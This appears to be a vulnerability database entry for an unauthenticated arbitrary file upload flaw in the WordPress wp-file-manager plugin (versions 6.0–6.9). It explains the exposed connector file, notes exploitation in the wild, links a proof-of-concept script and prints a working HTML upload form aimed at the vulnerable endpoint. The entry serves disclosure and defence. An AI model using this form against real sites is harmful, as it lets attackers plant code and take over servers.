Lucene search

K
wpexploitVille KorhonenWPEX-ID:E528AE38-72F0-49FF-9878-922EFF59ACE9
HistorySep 01, 2020 - 12:00 a.m.

File Manager 6.0-6.9 - Unauthenticated Arbitrary File Upload leading to RCE

2020-09-0100:00:00
Ville Korhonen
104

Seravo noticed multiple cases where WordPress sites were breached using 0-day in wp-file-manager (confirmed with v6.8, which was the latest version available in wordpress.org). File lib/php/connector.minimal.php can be by default opened directly, and this file loads lib/php/elFinderConnector.class.php which reads POST/GET variables, and then allows executing some internal features, like uploading files. PHP is allowed, thus this leads to unauthenticated arbitrary file upload and remote code execution. It seems that this vulnerability was originally discovered and published publicly on Twitter on August 26th (see references), and was later seen being exploited in the wild by Seravo.

https://ypcs.fi/misc/code/pocs/2020-wp-file-manager-v67.py

<html>
<body>
  <form method="POST" enctype="multipart/form-data" action="https://example.com/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php">
    <input type="hidden" name="cmd" value="upload"/>
    <input type="hidden" name="target" value="l1_Lw"/>
    <input type="file" name="upload[]"/><br/><br/>
    <input type="submit" value="Upload"/>
  </form>
</body>